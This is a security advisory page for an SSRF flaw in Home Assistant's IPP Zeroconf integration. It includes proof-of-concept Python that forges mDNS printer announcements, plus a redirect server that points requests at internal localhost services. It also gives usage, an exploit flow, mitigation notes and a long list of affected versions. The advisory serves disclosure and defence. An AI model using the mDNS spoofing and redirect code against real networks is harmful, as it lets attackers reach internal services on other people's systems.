GHSA-4ghv-53cq-7wp3

Suggest an improvement
Source
https://github.com/advisories/GHSA-4ghv-53cq-7wp3
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-4ghv-53cq-7wp3/GHSA-4ghv-53cq-7wp3.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-4ghv-53cq-7wp3
Aliases
Published
2026-09-22T20:40:51Z
Modified
2026-09-22T21:00:06Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Home Assistant: mDNS Server-Side Request Forgery
Details

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.

The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:

async def async_step_zeroconf(
    self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
    host = discovery_info.host
    port = discovery_info.port
    zctype = discovery_info.type
    name = discovery_info.name.replace(f".{zctype}", "")
    tls = zctype == "_ipps._tcp.local."
    base_path = discovery_info.properties.get("rp", "ipp/print")

    self.discovery_info.update(
        {
            CONF_HOST: host,
            CONF_PORT: port,
            CONF_SSL: tls,
            CONF_VERIFY_SSL: False,
            CONF_BASE_PATH: f"/{base_path}",
            CONF_NAME: name,
            CONF_UUID: unique_id,
        }
    )

These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
    session = async_get_clientsession(hass)
    ipp = IPP(
        host=data[CONF_HOST],
        port=data[CONF_PORT],
        base_path=data[CONF_BASE_PATH],
        tls=data[CONF_SSL],
        verify_ssl=data[CONF_VERIFY_SSL],
        session=session,
    )
    printer = await ipp.printer()
    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

  • Attacker machine on the same local network as the Home Assistant Green device
  • Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
    transaction_id = 0x0000  # mDNS always 0
    flags = 0x8400           # Standard response, authoritative answer
    qdcount = 0
    ancount = 4              # 4 answers (service_type, SRV, TXT, A)
    nscount = 0
    arcount = 0

    SRV = service_name + '.' + service_type
    header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)

    def encode_name(name):
        parts = name.split(".")
        out = b""
        for p in parts:
            out += bytes([len(p)]) + p.encode("utf-8")
        out += b"\x00"
        return out

    answers = b""

    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
    answers += encode_name(service_type)
    answers += struct.pack("!HHI", 12, 1, 1)
    target = encode_name(SRV)
    answers += struct.pack("!H", len(target)) + target

    # SRV record
    answers += encode_name(SRV)
    answers += struct.pack("!HHI", 33, 1, 120)
    srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
    answers += struct.pack("!H", len(srv_data)) + srv_data

    # TXT record
    txt_strs = [b"abcd=efgh"]
    txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
    answers += encode_name(SRV)
    answers += struct.pack("!HHI", 16, 1, 120)
    answers += struct.pack("!H", len(txt_record)) + txt_record

    # A record: hihiabcdmeomeo.local -> attacker IP
    answers += encode_name("hihiabcdmeomeo.local")
    answers += struct.pack("!HHI", 1, 1, 120)
    ip_bytes = socket.inet_aton(attacker_ip)
    answers += struct.pack("!H", len(ip_bytes)) + ip_bytes

    return header + answers

def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)
    sock.sendto(packet, (has_ip, 5353))

The attacker's HTTP server redirects the incoming IPP request to an internal service:

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
        self.end_headers()

Usage

python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo

Exploit Flow

  1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
  2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
  3. Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
  4. The attacker's server responds with a 302 redirect to http://127.0.0.1:<port>/<path>
  5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf

Impact

An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.

Mitigations

The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.

Acknowledgements

Discovered by ZDI (ZDI-CAN-28336)

Database specific 
{
    "cwe_ids":  [
        "CWE-918"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-22T20:40:51Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

PyPI / homeassistant

Package

Name
homeassistant
View open source insights on deps.dev
Purl
pkg:pypi/homeassistant

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2026.2.3

Affected versions

0.*
0.7.0rc1
0.7.0
0.7.0.1
0.7.1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.8.0
0.9.0
0.9.1
0.10.0
0.10.1
0.11.0
0.11.1
0.12.0
0.13.0
0.13.1
0.14.0
0.14.1
0.14.2
0.15.0
0.16.0
0.16.1
0.17.0
0.17.1
0.17.2
0.17.3
0.18.0
0.18.2
0.19
0.19.1
0.19.2
0.19.3
0.19.4
0.20.0
0.20.1
0.20.2
0.20.3
0.21.0
0.21.1
0.21.2
0.22.0
0.22.1
0.23.0
0.23.1
0.24.0
0.24.1
0.25.0
0.25.1
0.25.2
0.26.0
0.26.1
0.26.2
0.26.3
0.27.0
0.27.1
0.27.2
0.28.0
0.28.1
0.28.2
0.29.0
0.29.1
0.29.2
0.29.3
0.29.4
0.29.5
0.29.6
0.29.7
0.30.0
0.30.1
0.30.2
0.31.0
0.31.1
0.32.0
0.32.1
0.32.2
0.32.3
0.32.4
0.33.0
0.33.1
0.33.2
0.33.3
0.33.4
0.34.0
0.34.1
0.34.2
0.34.3
0.34.4
0.34.5
0.35.0
0.35.1
0.35.2
0.35.3
0.36.0
0.36.1
0.37.0
0.37.1
0.38.0
0.38.1
0.38.2
0.38.3
0.38.4
0.39.0
0.39.1
0.39.2
0.39.3
0.40.0
0.40.1
0.40.2
0.41.0
0.42.0
0.42.1
0.42.2
0.42.3
0.42.4
0.43.0
0.43.1
0.43.2
0.44.0
0.44.1
0.45.0
0.45.1
0.46.0
0.46.1
0.47.0
0.47.1
0.48.0
0.48.1
0.49.0
0.49.1
0.50.1
0.50.2
0.51.0
0.51.1
0.51.2
0.52.0
0.52.1
0.53.0
0.53.1
0.54.0
0.55.0
0.55.1
0.56.0
0.56.1
0.56.2
0.57.0
0.57.1
0.57.2
0.57.3
0.58.0
0.58.1
0.59.0
0.59.1
0.59.2
0.60.0
0.60.1
0.61.0
0.61.1
0.62.0
0.62.1
0.63.0
0.63.1
0.63.2
0.63.3
0.64.0
0.64.1
0.64.2
0.64.3
0.64.4b0
0.65.0
0.65.1
0.65.2
0.65.3
0.65.4
0.65.5
0.65.6
0.66.0b0
0.66.0b1
0.66.0b2
0.66.0b3
0.66.0
0.66.1b0
0.66.1
0.67.0b0
0.67.0b1
0.67.0
0.67.1
0.68.0b0
0.68.0b1
0.68.0b2
0.68.0
0.68.1
0.69.0b0
0.69.0
0.69.1
0.70.0b0
0.70.0b1
0.70.0b2
0.70.0b3
0.70.0b4
0.70.0b5
0.70.0b6
0.70.0b7
0.70.0
0.70.1
0.71.0b0
0.71.0
0.72.0b0
0.72.0b1
0.72.0b2
0.72.0b4
0.72.0b5
0.72.0b6
0.72.0b7
0.72.0b8
0.72.0b9
0.72.0
0.72.1
0.73.0b0
0.73.0b1
0.73.0b2
0.73.0b3
0.73.0b4
0.73.0b5
0.73.0b6
0.73.0
0.73.1
0.73.2
0.74.0b0
0.74.0b2
0.74.0b3
0.74.0b4
0.74.0
0.74.1
0.74.2
0.75.0b0
0.75.0b1
0.75.0
0.75.1
0.75.2
0.75.3
0.76.0b0
0.76.0b1
0.76.0b2
0.76.0b3
0.76.0b4
0.76.0b5
0.76.0
0.76.1
0.76.2
0.77.0b0
0.77.0b1
0.77.0b2
0.77.0b3
0.77.0b4
0.77.0
0.77.1
0.77.2
0.77.3
0.78.0b0
0.78.0b1
0.78.0b2
0.78.0b3
0.78.0
0.78.1
0.78.2
0.78.3
0.79.0b0
0.79.0b1
0.79.0b2
0.79.0b3
0.79.0
0.79.1
0.79.2
0.79.3
0.80.0b0
0.80.0b1
0.80.0b2
0.80.0b3
0.80.0b4
0.80.0b5
0.80.0
0.80.1
0.80.2
0.80.3
0.81.0b0
0.81.0b1
0.81.0b2
0.81.0
0.81.1
0.81.2
0.81.3
0.81.4
0.81.5
0.81.6
0.82.0b0
0.82.0b1
0.82.0b2
0.82.0b3
0.82.0b4
0.82.0
0.82.1
0.83.0b0
0.83.0b1
0.83.0b3
0.83.0
0.83.1
0.83.2
0.83.3
0.84.0b0
0.84.0b1
0.84.0b2
0.84.0b3
0.84.0b4
0.84.0
0.84.1
0.84.2
0.84.3
0.84.4
0.84.5
0.84.6
0.85.0b0
0.85.0b1
0.85.0
0.85.1
0.86.0b0
0.86.0b1
0.86.0b2
0.86.0b3
0.86.0
0.86.1
0.86.2
0.86.3
0.86.4
0.87.0b0
0.87.0b1
0.87.0b2
0.87.0b3
0.87.0b4
0.87.0b5
0.87.0b6
0.87.0
0.87.1
0.88.0b0
0.88.0b1
0.88.0b2
0.88.0b3
0.88.0b4
0.88.0
0.88.1
0.88.2
0.89.0b0
0.89.0b1
0.89.0b2
0.89.0b3
0.89.0
0.89.1
0.89.2
0.90.0b0
0.90.0b1
0.90.0b2
0.90.0b3
0.90.0b4
0.90.0b5
0.90.0b6
0.90.0b7
0.90.0
0.90.1
0.90.2
0.91.0b0
0.91.0b1
0.91.0b2
0.91.0b3
0.91.0b4
0.91.0b5
0.91.0
0.91.1
0.91.2
0.91.3
0.91.4
0.92.0b0
0.92.0b1
0.92.0b2
0.92.0b3
0.92.0
0.92.1
0.92.2
0.93.0b0
0.93.0b1
0.93.0b2
0.93.0b4
0.93.0
0.93.1
0.93.2
0.94.0b0
0.94.0b1
0.94.0b2
0.94.0b3
0.94.0b4
0.94.0b5
0.94.0b6
0.94.0b7
0.94.0b8
0.94.0
0.94.1
0.94.2
0.94.3
0.94.4
0.95.0b0
0.95.0b1
0.95.0b2
0.95.0b3
0.95.0b4
0.95.0
0.95.1
0.95.2
0.95.3
0.95.4
0.96.0b0
0.96.0b1
0.96.0b2
0.96.0b3
0.96.0b4
0.96.0
0.96.1
0.96.2
0.96.3
0.96.4
0.96.5
0.97.0b0
0.97.0b1
0.97.0b2
0.97.0b3
0.97.0
0.97.1
0.97.2
0.98.0b0
0.98.0b1
0.98.0b2
0.98.0
0.98.1
0.98.2
0.98.3
0.98.4
0.98.5
0.99.0b0
0.99.0b1
0.99.0b2
0.99.0b3
0.99.0b4
0.99.0
0.99.1
0.99.2
0.99.3
0.100.0b0
0.100.0b1
0.100.0b2
0.100.0b3
0.100.0
0.100.1
0.100.2
0.100.3
0.101.0b0
0.101.0b1
0.101.0b2
0.101.0b3
0.101.0b4
0.101.0
0.101.1
0.101.2
0.101.3
0.102.0b0
0.102.0b1
0.102.0b2
0.102.0b3
0.102.0
0.102.1
0.102.2
0.102.3
0.103.0b0
0.103.0b1
0.103.0
0.103.1
0.103.2
0.103.3
0.103.4
0.103.5
0.103.6
0.104.0b0
0.104.0b1
0.104.0b2
0.104.0b3
0.104.0b4
0.104.0b5
0.104.0
0.104.1
0.104.2
0.104.3
0.105.0b0
0.105.0b5
0.105.0b6
0.105.0b7
0.105.0
0.105.1
0.105.2
0.105.3
0.105.4
0.105.5
0.106.0b0
0.106.0b5
0.106.0
0.106.1
0.106.2
0.106.3
0.106.4
0.106.5
0.106.6
0.107.0b0
0.107.0b1
0.107.0b2
0.107.0b3
0.107.0b4
0.107.0b5
0.107.0b8
0.107.0
0.107.1
0.107.2
0.107.3
0.107.4
0.107.5
0.107.6
0.107.7
0.108.0b0
0.108.0b1
0.108.0b2
0.108.0b3
0.108.0b4
0.108.0b5
0.108.0b6
0.108.0
0.108.1
0.108.2
0.108.3
0.108.4
0.108.5
0.108.6
0.108.7
0.108.8
0.108.9
0.109.0b0
0.109.0b4
0.109.0b5
0.109.0
0.109.1
0.109.2
0.109.3
0.109.4
0.109.5
0.109.6
0.110.0b0
0.110.0b1
0.110.0b2
0.110.0b3
0.110.0b4
0.110.0b5
0.110.0
0.110.1
0.110.2
0.110.3
0.110.4
0.110.5
0.110.6
0.110.7
0.111.0b0
0.111.0b1
0.111.0b2
0.111.0b3
0.111.0b4
0.111.0b5
0.111.0
0.111.1
0.111.2
0.111.3
0.111.4
0.112.0b0
0.112.0b1
0.112.0b2
0.112.0b3
0.112.0b4
0.112.0
0.112.1
0.112.2
0.112.3
0.112.4
0.112.5
0.113.0b0
0.113.0b1
0.113.0b2
0.113.0b3
0.113.0
0.113.1
0.113.2
0.113.3
0.114.0b0
0.114.0b1
0.114.0b2
0.114.0b3
0.114.0b4
0.114.0
0.114.1
0.114.2
0.114.3
0.114.4
0.115.0b0
0.115.0b1
0.115.0b2
0.115.0b3
0.115.0b4
0.115.0b5
0.115.0b6
0.115.0b7
0.115.0b8
0.115.0b9
0.115.0b10
0.115.0b11
0.115.0b12
0.115.0
0.115.1
0.115.2
0.115.3
0.115.4
0.115.5
0.115.6
0.116.0b0
0.116.0b1
0.116.0b2
0.116.0b3
0.116.0b4
0.116.0b5
0.116.0
0.116.1
0.116.2
0.116.3
0.116.4
0.117.0b0
0.117.0b1
0.117.0b2
0.117.0b3
0.117.0b4
0.117.0b5
0.117.0b6
0.117.0
0.117.1
0.117.2
0.117.3
0.117.4
0.117.5
0.117.6
0.118.0b0
0.118.0b1
0.118.0b2
0.118.0b3
0.118.0
0.118.1
0.118.2
0.118.3
0.118.4
0.118.5
1.*
1.0.0b0
1.0.0b1
1.0.0b2
1.0.0b3
1.0.0b4
1.0.0b5
1.0.0b6
2020.*
2020.12.0
2020.12.1
2020.12.2
2021.*
2021.1.0b0
2021.1.0b1
2021.1.0b2
2021.1.0b3
2021.1.0
2021.1.1
2021.1.2
2021.1.3
2021.1.4
2021.1.5
2021.2.0b0
2021.2.0b1
2021.2.0b2
2021.2.0b3
2021.2.0b4
2021.2.0b5
2021.2.0
2021.2.1
2021.2.2
2021.2.3
2021.3.0b0
2021.3.0b1
2021.3.0b2
2021.3.0b3
2021.3.0b4
2021.3.0b5
2021.3.0b6
2021.3.0b7
2021.3.0
2021.3.1
2021.3.2
2021.3.3
2021.3.4
2021.4.0b0
2021.4.0b1
2021.4.0b2
2021.4.0b3
2021.4.0b4
2021.4.0b5
2021.4.0b6
2021.4.0
2021.4.1
2021.4.2
2021.4.3
2021.4.4
2021.4.5
2021.4.6
2021.5.0b0
2021.5.0b1
2021.5.0b2
2021.5.0b3
2021.5.0b4
2021.5.0b5
2021.5.0b6
2021.5.0b7
2021.5.0b8
2021.5.0
2021.5.1
2021.5.2
2021.5.3
2021.5.4
2021.5.5
2021.6.0b0
2021.6.0b1
2021.6.0b2
2021.6.0b3
2021.6.0b4
2021.6.0b5
2021.6.0
2021.6.1
2021.6.2
2021.6.3
2021.6.4
2021.6.5
2021.6.6
2021.7.0b0
2021.7.0b1
2021.7.0b2
2021.7.0b3
2021.7.0b4
2021.7.0b5
2021.7.0b6
2021.7.0
2021.7.1
2021.7.2
2021.7.3
2021.7.4
2021.8.0b0
2021.8.0b1
2021.8.0b2
2021.8.0b3
2021.8.0b4
2021.8.0b5
2021.8.0b6
2021.8.0b7
2021.8.0b8
2021.8.0b9
2021.8.0b10
2021.8.0
2021.8.1
2021.8.2
2021.8.3
2021.8.4
2021.8.5
2021.8.6
2021.8.7
2021.8.8
2021.9.0b0
2021.9.0b1
2021.9.0b2
2021.9.0b3
2021.9.0b4
2021.9.0b5
2021.9.0b6
2021.9.0b7
2021.9.0
2021.9.1
2021.9.2
2021.9.3
2021.9.4
2021.9.5
2021.9.6
2021.9.7
2021.10.0b0
2021.10.0b1
2021.10.0b2
2021.10.0b3
2021.10.0b4
2021.10.0b5
2021.10.0b6
2021.10.0b7
2021.10.0b9
2021.10.0
2021.10.1
2021.10.2
2021.10.3
2021.10.4
2021.10.5
2021.10.6
2021.10.7
2021.11.0b0
2021.11.0b1
2021.11.0b2
2021.11.0b3
2021.11.0b4
2021.11.0b5
2021.11.0
2021.11.1
2021.11.2
2021.11.3
2021.11.4
2021.11.5
2021.12.0b0
2021.12.0b1
2021.12.0b2
2021.12.0b3
2021.12.0b4
2021.12.0b5
2021.12.0b6
2021.12.0b7
2021.12.0
2021.12.1
2021.12.2
2021.12.3
2021.12.4
2021.12.5
2021.12.6
2021.12.7
2021.12.8
2021.12.9
2021.12.10
2022.*
2022.2.0b0
2022.2.0b1
2022.2.0b2
2022.2.0b3
2022.2.0b4
2022.2.0b5
2022.2.0b6
2022.2.0
2022.2.1
2022.2.2
2022.2.3
2022.2.4
2022.2.5
2022.2.6
2022.2.7
2022.2.8
2022.2.9
2022.3.0b0
2022.3.0b1
2022.3.0b2
2022.3.0b3
2022.3.0b4
2022.3.0b5
2022.3.0b6
2022.3.0
2022.3.1
2022.3.2
2022.3.3
2022.3.4
2022.3.5
2022.3.6
2022.3.7
2022.3.8
2022.4.0b0
2022.4.0b1
2022.4.0b2
2022.4.0b3
2022.4.0b4
2022.4.0b5
2022.4.0
2022.4.1
2022.4.2
2022.4.3
2022.4.4
2022.4.5
2022.4.6
2022.4.7
2022.5.0b0
2022.5.0b1
2022.5.0b2
2022.5.0b3
2022.5.0b4
2022.5.0b5
2022.5.0b6
2022.5.0b7
2022.5.0
2022.5.1
2022.5.2
2022.5.3
2022.5.4
2022.5.5
2022.6.0b0
2022.6.0b1
2022.6.0b2
2022.6.0b3
2022.6.0b4
2022.6.0b5
2022.6.0b6
2022.6.0b7
2022.6.0
2022.6.1
2022.6.2
2022.6.3
2022.6.4
2022.6.5
2022.6.6
2022.6.7
2022.7.0b0
2022.7.0b1
2022.7.0b2
2022.7.0b3
2022.7.0b4
2022.7.0b5
2022.7.0
2022.7.1
2022.7.2
2022.7.3
2022.7.4
2022.7.5
2022.7.6
2022.7.7
2022.8.0b0
2022.8.0b1
2022.8.0b2
2022.8.0b3
2022.8.0b4
2022.8.0b5
2022.8.0b6
2022.8.0b7
2022.8.0
2022.8.1
2022.8.2
2022.8.3
2022.8.4
2022.8.5
2022.8.6
2022.8.7
2022.9.0b0
2022.9.0b1
2022.9.0b2
2022.9.0b3
2022.9.0b4
2022.9.0b5
2022.9.0b6
2022.9.0
2022.9.1
2022.9.2
2022.9.3
2022.9.4
2022.9.5
2022.9.6
2022.9.7
2022.10.0b0
2022.10.0b1
2022.10.0b2
2022.10.0b3
2022.10.0b4
2022.10.0b5
2022.10.0b6
2022.10.0
2022.10.1
2022.10.2
2022.10.3
2022.10.4
2022.10.5
2022.11.0b0
2022.11.0b1
2022.11.0b2
2022.11.0b3
2022.11.0b4
2022.11.0b5
2022.11.0b6
2022.11.0b7
2022.11.0
2022.11.1
2022.11.2
2022.11.3
2022.11.4
2022.11.5
2022.12.0b0
2022.12.0b1
2022.12.0b2
2022.12.0b3
2022.12.0b4
2022.12.0b5
2022.12.0b6
2022.12.0b7
2022.12.0
2022.12.1
2022.12.2
2022.12.3
2022.12.4
2022.12.5
2022.12.6
2022.12.7
2022.12.8
2022.12.9
2023.*
2023.1.0b0
2023.1.0b1
2023.1.0b2
2023.1.0b3
2023.1.0b4
2023.1.0b5
2023.1.0
2023.1.1
2023.1.2
2023.1.3
2023.1.4
2023.1.5
2023.1.6
2023.1.7
2023.2.0b0
2023.2.0b1
2023.2.0b2
2023.2.0b3
2023.2.0b4
2023.2.0b5
2023.2.0b6
2023.2.0b7
2023.2.0b8
2023.2.0b9
2023.2.0
2023.2.1
2023.2.2
2023.2.3
2023.2.4
2023.2.5
2023.3.0b0
2023.3.0b1
2023.3.0b2
2023.3.0b3
2023.3.0b4
2023.3.0b5
2023.3.0b6
2023.3.0b7
2023.3.0
2023.3.1
2023.3.2
2023.3.3
2023.3.4
2023.3.5
2023.3.6
2023.4.0b0
2023.4.0b1
2023.4.0b2
2023.4.0b3
2023.4.0b4
2023.4.0b5
2023.4.0b6
2023.4.0b7
2023.4.0
2023.4.1
2023.4.2
2023.4.3
2023.4.4
2023.4.5
2023.4.6
2023.5.0b0
2023.5.0b1
2023.5.0b2
2023.5.0b3
2023.5.0b4
2023.5.0b5
2023.5.0b6
2023.5.0b7
2023.5.0b8
2023.5.0
2023.5.1
2023.5.2
2023.5.3
2023.5.4
2023.6.0b0
2023.6.0b1
2023.6.0b2
2023.6.0b3
2023.6.0b4
2023.6.0b5
2023.6.0b6
2023.6.0
2023.6.1
2023.6.2
2023.6.3
2023.7.0b0
2023.7.0b1
2023.7.0b2
2023.7.0b3
2023.7.0b4
2023.7.0b5
2023.7.0b6
2023.7.0
2023.7.1
2023.7.2
2023.7.3
2023.8.0b0
2023.8.0b1
2023.8.0b2
2023.8.0b3
2023.8.0b4
2023.8.0
2023.8.1
2023.8.2
2023.8.3
2023.8.4
2023.9.0b0
2023.9.0b1
2023.9.0b2
2023.9.0b3
2023.9.0b4
2023.9.0b5
2023.9.0b6
2023.9.0
2023.9.1
2023.9.2
2023.9.3
2023.10.0b0
2023.10.0b1
2023.10.0b2
2023.10.0b3
2023.10.0b4
2023.10.0b6
2023.10.0b7
2023.10.0b9
2023.10.0
2023.10.1
2023.10.2
2023.10.3
2023.10.4
2023.10.5
2023.11.0b0
2023.11.0b1
2023.11.0b2
2023.11.0b3
2023.11.0b4
2023.11.0b5
2023.11.0b6
2023.11.0
2023.11.1
2023.11.2
2023.11.3
2023.12.0b0
2023.12.0b1
2023.12.0b2
2023.12.0b3
2023.12.0b4
2023.12.0b5
2023.12.0
2023.12.1
2023.12.2
2023.12.3
2023.12.4
2024.*
2024.1.0b0
2024.1.0b1
2024.1.0b2
2024.1.0b3
2024.1.0b4
2024.1.0b5
2024.1.0b6
2024.1.0b7
2024.1.0b8
2024.1.0
2024.1.1
2024.1.2
2024.1.3
2024.1.4
2024.1.5
2024.1.6
2024.2.0b0
2024.2.0b1
2024.2.0b2
2024.2.0b3
2024.2.0b4
2024.2.0b5
2024.2.0b6
2024.2.0b7
2024.2.0b8
2024.2.0b9
2024.2.0b10
2024.2.0b11
2024.2.0
2024.2.1
2024.2.2
2024.2.3
2024.2.4
2024.2.5
2024.3.0b0
2024.3.0b1
2024.3.0b2
2024.3.0b3
2024.3.0b4
2024.3.0b5
2024.3.0b6
2024.3.0b7
2024.3.0b8
2024.3.0
2024.3.1
2024.3.2
2024.3.3
2024.4.0b0
2024.4.0b1
2024.4.0b2
2024.4.0b3
2024.4.0b4
2024.4.0b5
2024.4.0b6
2024.4.0b7
2024.4.0b8
2024.4.0b9
2024.4.0
2024.4.1
2024.4.2
2024.4.3
2024.4.4
2024.5.0b0
2024.5.0b1
2024.5.0b2
2024.5.0b3
2024.5.0b4
2024.5.0b5
2024.5.0b6
2024.5.0b7
2024.5.0
2024.5.1
2024.5.2
2024.5.3
2024.5.4
2024.5.5
2024.6.0b0
2024.6.0b1
2024.6.0b2
2024.6.0b3
2024.6.0b4
2024.6.0b5
2024.6.0b6
2024.6.0b7
2024.6.0b8
2024.6.0b9
2024.6.0
2024.6.1
2024.6.2
2024.6.3
2024.6.4
2024.7.0b0
2024.7.0b1
2024.7.0b2
2024.7.0b3
2024.7.0b4
2024.7.0b5
2024.7.0b6
2024.7.0b7
2024.7.0b8
2024.7.0b9
2024.7.0b10
2024.7.0b11
2024.7.0
2024.7.1
2024.7.2
2024.7.3
2024.7.4
2024.8.0b0
2024.8.0b1
2024.8.0b2
2024.8.0b3
2024.8.0b4
2024.8.0b5
2024.8.0b6
2024.8.0b7
2024.8.0b8
2024.8.0b9
2024.8.0
2024.8.1
2024.8.2
2024.8.3
2024.9.0b0
2024.9.0b1
2024.9.0b2
2024.9.0b3
2024.9.0b4
2024.9.0b5
2024.9.0
2024.9.1
2024.9.2
2024.9.3
2024.10.0b0
2024.10.0b1
2024.10.0b2
2024.10.0b3
2024.10.0b4
2024.10.0b5
2024.10.0b6
2024.10.0b7
2024.10.0b8
2024.10.0b9
2024.10.0b10
2024.10.0b11
2024.10.0b12
2024.10.0
2024.10.1
2024.10.2
2024.10.3
2024.10.4
2024.11.0b0
2024.11.0b1
2024.11.0b2
2024.11.0b3
2024.11.0b4
2024.11.0b5
2024.11.0b6
2024.11.0b7
2024.11.0b8
2024.11.0b9
2024.11.0
2024.11.1
2024.11.2
2024.11.3
2024.12.0b0
2024.12.0b1
2024.12.0b2
2024.12.0b3
2024.12.0b4
2024.12.0b5
2024.12.0b6
2024.12.0
2024.12.1
2024.12.2
2024.12.3
2024.12.4
2024.12.5
2025.*
2025.1.0b0
2025.1.0b1
2025.1.0b2
2025.1.0b3
2025.1.0b4
2025.1.0b5
2025.1.0b6
2025.1.0b7
2025.1.0b8
2025.1.0b9
2025.1.0
2025.1.1
2025.1.2
2025.1.3
2025.1.4
2025.2.0b0
2025.2.0b1
2025.2.0b2
2025.2.0b3
2025.2.0b4
2025.2.0b5
2025.2.0b6
2025.2.0b7
2025.2.0b8
2025.2.0b9
2025.2.0b10
2025.2.0b11
2025.2.0b12
2025.2.0
2025.2.1
2025.2.2
2025.2.3
2025.2.4
2025.2.5
2025.3.0b0
2025.3.0b1
2025.3.0b2
2025.3.0b3
2025.3.0b4
2025.3.0b5
2025.3.0b6
2025.3.0b7
2025.3.0b8
2025.3.0
2025.3.1
2025.3.2
2025.3.3
2025.3.4
2025.4.0b0
2025.4.0b1
2025.4.0b2
2025.4.0b3
2025.4.0b4
2025.4.0b5
2025.4.0b6
2025.4.0b7
2025.4.0b8
2025.4.0b9
2025.4.0b10
2025.4.0b11
2025.4.0b12
2025.4.0b13
2025.4.0b14
2025.4.0b15
2025.4.0
2025.4.1
2025.4.2
2025.4.3
2025.4.4
2025.5.0b0
2025.5.0b1
2025.5.0b2
2025.5.0b3
2025.5.0b4
2025.5.0b5
2025.5.0b6
2025.5.0b7
2025.5.0b8
2025.5.0b9
2025.5.0b10
2025.5.0
2025.5.1
2025.5.2
2025.5.3
2025.6.0b0
2025.6.0b1
2025.6.0b2
2025.6.0b3
2025.6.0b4
2025.6.0b5
2025.6.0b6
2025.6.0b7
2025.6.0b8
2025.6.0b9
2025.6.0
2025.6.1
2025.6.2
2025.6.3
2025.7.0b0
2025.7.0b1
2025.7.0b2
2025.7.0b3
2025.7.0b4
2025.7.0b5
2025.7.0b6
2025.7.0b7
2025.7.0b8
2025.7.0b9
2025.7.0
2025.7.1
2025.7.2
2025.7.3
2025.7.4
2025.8.0b0
2025.8.0b1
2025.8.0b2
2025.8.0b3
2025.8.0b4
2025.8.0b5
2025.8.0
2025.8.1
2025.8.2
2025.8.3
2025.9.0b0
2025.9.0b1
2025.9.0b2
2025.9.0b3
2025.9.0b4
2025.9.0b5
2025.9.0b6
2025.9.0
2025.9.1
2025.9.2
2025.9.3
2025.9.4
2025.10.0b0
2025.10.0b1
2025.10.0b2
2025.10.0b4
2025.10.0b5
2025.10.0b6
2025.10.0b7
2025.10.0
2025.10.1
2025.10.2
2025.10.3
2025.10.4
2025.11.0b0
2025.11.0b1
2025.11.0b2
2025.11.0b3
2025.11.0b4
2025.11.0b5
2025.11.0b6
2025.11.0
2025.11.1
2025.11.2
2025.11.3
2025.12.0b0
2025.12.0b1
2025.12.0b2
2025.12.0b3
2025.12.0b4
2025.12.0b5
2025.12.0b6
2025.12.0b7
2025.12.0b8
2025.12.0b9
2025.12.0
2025.12.1
2025.12.2
2025.12.3
2025.12.4
2025.12.5
